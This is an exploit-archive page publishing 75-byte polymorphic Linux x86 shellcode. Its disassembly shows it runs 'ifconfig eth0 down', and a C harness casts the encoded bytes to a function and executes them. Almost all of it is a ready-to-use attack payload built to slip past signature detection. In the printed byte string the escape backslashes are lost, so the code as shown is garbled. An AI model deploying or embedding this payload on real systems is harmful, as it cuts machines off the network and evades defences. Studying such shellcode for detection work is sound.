[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 Polymorphic shellcode disable Network Card 75 bytes
# Published : 2009-08-26
# Author : Jonathan Salwan
# Previous Title : linux/x86 killall5 polymorphic shellcode 61 bytes
# Next Title : linux/x86 /bin/sh polymorphic shellcode 48 bytes


/*  Linux x86 - Polymorphic shellcode for disable Network Card (default eth0) - 75 bytes
 *  Jonathan Salwan < submit [!] shell-storm.org >
 *  
 *	! DataBase of Shellcodes and you can share your shellcodes : http://www.shell-storm.org/shellcode/ ! 
 *
 *
 * Disassembly of section .text:
 *
 * 08048060 <_start>:
 * 8048060:       6a 0b                   push   $0xb
 * 8048062:       58                      pop    %eax
 * 8048063:       99                      cltd
 * 8048064:       52                      push   %edx
 * 8048065:       68 64 6f 77 6e          push   $0x6e776f64
 * 804806a:       89 e6                   mov    %esp,%esi
 * 804806c:       52                      push   %edx
 * 804806d:       68 65 74 68 30          push   $0x30687465  < (eth0) you can change it for other Network card
 * 8048072:       89 e1                   mov    %esp,%ecx
 * 8048074:       52                      push   %edx
 * 8048075:       68 6e 66 69 67          push   $0x6769666e
 * 804807a:       68 69 66 63 6f          push   $0x6f636669
 * 804807f:       68 69 6e 2f 2f          push   $0x2f2f6e69
 * 8048084:       68 2f 2f 73 62          push   $0x62732f2f
 * 8048089:       89 e3                   mov    %esp,%ebx
 * 804808b:       52                      push   %edx
 * 804808c:       56                      push   %esi
 * 804808d:       51                      push   %ecx
 * 804808e:       53                      push   %ebx
 * 804808f:       89 e1                   mov    %esp,%ecx
 * 8048091:       cd 80                   int    $0x80
 *
 */

main()
{
char shellcode[] = 	"xebx11x5ex31xc9xb1x51x80"
			"x6cx0exffx01x80xe9x01x75"
  			"xf6xebx05xe8xeaxffxffxff"
			"x6bx0cx59x9ax53x69x65x70"
			"x78x6fx8axe7x53x69x66x75"
			"x69x31x8axe2x53x69x6fx67"
			"x6ax68x69x6ax67x64x70x69"
			"x6ax6fx30x30x69x30x30x74"
			"x63x8axe4x53x57x52x54x8a"
			"xe2xcex81";

       	printf("Length: %dn",strlen(shellcode));
	(*(void(*)()) shellcode)();       
}

// www.Syue.com [2009-08-26]